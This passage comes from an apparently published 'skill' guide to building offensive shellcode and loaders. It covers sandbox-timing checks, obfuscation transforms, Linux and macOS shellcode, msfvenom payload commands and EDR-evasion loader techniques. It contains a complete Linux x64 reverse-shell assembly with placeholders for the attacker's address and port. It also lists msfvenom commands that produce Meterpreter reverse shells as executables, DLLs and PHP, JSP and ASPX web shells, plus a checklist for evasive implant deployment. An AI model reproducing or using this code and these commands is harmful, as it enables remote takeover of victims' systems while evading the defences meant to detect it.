// Sandboxes may fast-forward sleep calls
DWORD t1 = GetTickCount();
Sleep(10000);  // request 10 second sleep
DWORD elapsed = GetTickCount() - t1;
if (elapsed < 9500) ExitProcess(0);  // sleep was accelerated
```

---

## 15. OBFUSCATION TRANSFORMS

### 15.1 Control-Flow Flattening

Replace structured control flow (if/else, loops) with a dispatcher-based
state machine. All basic blocks sit at the same nesting level, selected by a
state variable.

```c
// Before:
if (cond) { block_A(); } else { block_B(); }
block_C();

// After (flattened):
int state = 0;
while (state != DONE) {
    switch (state) {
        case 0: state = cond ? 1 : 2; break;
        case 1: block_A(); state = 3; break;
        case 2: block_B(); state = 3; break;
        case 3: block_C(); state = DONE; break;
    }
}
```

### 15.2 Opaque Predicates

Insert conditional branches whose outcome is statically deterministic but
difficult for a decompiler to prove — the "dead" branch contains junk code
that never executes.

```c
// y*y is never negative for integer y → (y*y >= 0) is always true
int y = GetTickCount();
if ((y * y) >= 0) {
    real_code();
} else {
    junk_code_never_reached();
}
```

### 15.3 Dead Code Insertion

Interleave legitimate instructions with operations that have no effect on the
program state — push/pop pairs, register shuffles, arithmetic identities.

```nasm
    xor eax, eax        ; real
    push ebx             ; junk
    pop ebx              ; junk
    inc eax              ; real
    add ecx, 0           ; junk (identity)
    mov edx, eax         ; real
    xchg ebx, ebx        ; junk (identity)
```

### 15.4 Mixed Boolean-Arithmetic (MBA)

Replace simple expressions with mathematically equivalent but visually complex
alternatives.

```c
// Original:  x ^ y
// MBA equivalent:
(x | y) - (x & y)

// Original:  x + y
// MBA equivalent:
(x ^ y) + 2 * (x & y)

// Original:  x & y
// MBA equivalent:
(x + y - (x ^ y)) / 2
```

These transforms defeat pattern matching in both static analysis tools and
EDR behavioral heuristics.

---

## 16. CROSS-PLATFORM SHELLCODE

### 16.1 Linux x64 Syscall Interface

Linux shellcode invokes the kernel directly through the `syscall` instruction.
No PEB walk, no DLL resolution — syscall numbers are stable across kernel
versions.

```nasm
; Linux x64 — execve("/bin/sh", NULL, NULL)
    xor rsi, rsi             ; argv = NULL
    xor rdx, rdx             ; envp = NULL
    push rsi                 ; null terminator
    mov rdi, 0x68732f6e69622f ; "/bin/sh" (little-endian)
    push rdi
    mov rdi, rsp             ; RDI = pointer to "/bin/sh"
    mov al, 59               ; __NR_execve = 59
    syscall

; Linux x64 — reverse shell (connect-back + dup2 + execve)
; socket(AF_INET, SOCK_STREAM, 0)
    xor rsi, rsi
    mul rsi                  ; clear RAX and RDX
    inc esi                  ; SOCK_STREAM = 1
    push 2
    pop rdi                  ; AF_INET = 2
    mov al, 41               ; __NR_socket
    syscall
    mov r12, rax             ; save socket fd

; connect(sockfd, &addr, sizeof(addr))
    push rdx                 ; null padding
    mov dword [rsp], 0x0100007F  ; 127.0.0.1 (UPDATE THIS)
    mov word [rsp-2], 0xBB01     ; port 443 (UPDATE THIS)
    mov word [rsp-4], 2          ; AF_INET
    sub rsp, 4
    mov rsi, rsp             ; &sockaddr_in
    mov rdi, r12             ; sockfd
    push 16
    pop rdx                  ; addrlen
    mov al, 42               ; __NR_connect
    syscall

; dup2(sockfd, 0/1/2)
    xor rsi, rsi
dup_loop:
    mov rdi, r12
    mov al, 33               ; __NR_dup2
    syscall
    inc rsi
    cmp rsi, 3
    jne dup_loop

; execve("/bin/sh", NULL, NULL)
    xor rsi, rsi
    xor rdx, rdx
    push rsi
    mov rdi, 0x68732f6e69622f
    push rdi
    mov rdi, rsp
    mov al, 59               ; __NR_execve
    syscall
```

### 16.2 macOS Shellcode

macOS uses Mach-O binaries and the dyld dynamic linker. Syscall numbers differ
from Linux and are prefixed with `0x2000000` on x64.

```nasm
; macOS x64 — execve("/bin/sh", NULL, NULL)
    xor rsi, rsi
    xor rdx, rdx
    push rsi
    mov rdi, 0x68732f6e69622f
    push rdi
    mov rdi, rsp
    mov rax, 0x200003B       ; SYS_execve (0x2000000 + 59)
    syscall
```

For resolving dyld-loaded libraries, walk the dyld image list via
`_dyld_get_image_header` and `_dyld_get_image_name` — or use the
`LC_SYMTAB` load command to parse the symbol table from a loaded Mach-O
image.

---

## 17. MSFVENOM REFERENCE

### 17.1 Common Payload Formats

```bash
# Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f dll -o shell.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.bin
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f python
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f vba
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f hta-psh

# Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o revshell.elf

# macOS
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f macho -o shell.macho

# Web
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx
```

### 17.2 Encoders

```bash
# List encoders
msfvenom --list encoders

# Common encoders
-e x86/shikata_ga_nai -i 5    # polymorphic XOR, 5 iterations
-e x64/xor                     # simple XOR
-e x64/zutto_dekiru             # x64 polymorphic

# Bad character avoidance
-b '\x00\x0a\x0d'              # exclude null, newline, CR
```

### 17.3 Staged vs Stageless

```bash
# Staged (smaller, requires callback): uses /
windows/x64/meterpreter/reverse_tcp

# Stageless (larger, self-contained): uses _
windows/x64/meterpreter_reverse_tcp
```

---

## 18. ADVANCED LOADER TECHNIQUES

### 18.1 DripLoader Pattern

Allocate memory in small scattered chunks to avoid large suspicious
allocations:

```text
1. Reserve large region with PAGE_NOACCESS (64KB)
2. Commit 4KB sub-regions within it as PAGE_READWRITE
3. Write shellcode fragments in randomized order
4. Reprotect entire region to PAGE_EXECUTE_READ
5. Use trampoline (overwrite ntdll function prologue) to transfer execution
6. All API calls via direct syscalls
```

### 18.2 Module Stomping

Overwrite the `.text` section of a legitimately loaded DLL with shellcode:

```text
1. LoadLibrary("benign.dll") — any rarely-used DLL
2. VirtualProtect .text section to PAGE_READWRITE
3. Memcpy shellcode over .text
4. VirtualProtect back to PAGE_EXECUTE_READ
5. Execute — shellcode runs from a legitimate module's address space
```

EDR sees execution from a signed, legitimate DLL address — far less suspicious
than execution from anonymous memory.

### 18.3 Certificate Table Storage

Hide encrypted shellcode in the PE Certificate Table (Attribute Certificate
Table) — the region is ignored by the PE loader and does not affect the
Authenticode signature of the main executable if only the sideloaded DLL is
modified.

### 18.4 Sleep-Time Encryption

Encrypt shellcode in memory during sleep intervals so memory scanners cannot
find decrypted payload:

```text
1. Execute shellcode (decrypted)
2. Before sleep: encrypt the memory region with AES
3. Sleep (memory scanners see only encrypted bytes)
4. After sleep: decrypt, resume execution
5. Techniques: Ekko (ROP-based timer), Ziliean, DeathSleep
```

---

## 19. VALIDATION CHECKLIST

```text
DEVELOPMENT
  [ ] Position-independent — no absolute addresses or fixed relocations
  [ ] All API resolution via PEB walk + hashing — no import table
  [ ] No null bytes (or other forbidden characters) in final binary
  [ ] Strings encrypted or built on stack — no plaintext data section
  [ ] Tested on target architecture (x86 vs x64 vs ARM64)

EVASION
  [ ] Encoded or encrypted with key rotation
  [ ] Environmental keying if targeted deployment
  [ ] Anti-debug checks embedded
  [ ] Anti-sandbox fingerprinting included
  [ ] Memory allocation uses RW → RX transition (never RWX)
  [ ] Direct syscalls or indirect syscalls if EDR present
  [ ] Sleep-time encryption if persistent implant

LOADER
  [ ] Loader compiles cleanly for target platform
  [ ] Loader uses correct allocation pattern
  [ ] Tested against target AV/EDR in lab
  [ ] Fallback loader in alternate language available

DELIVERY
  [ ] Payload size fits injection vector constraints
  [ ] Staged/stageless selected based on environment
  [ ] Kill date set if applicable
  [ ] Cleanup mechanism for post-execution artifacts

DOCUMENTATION
  [ ] Architecture and OS version recorded
  [ ] Encryption key derivation method documented
  [ ] API hashing algorithm and constants documented
  [ ] All customization points (IP, port, key) clearly marked
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.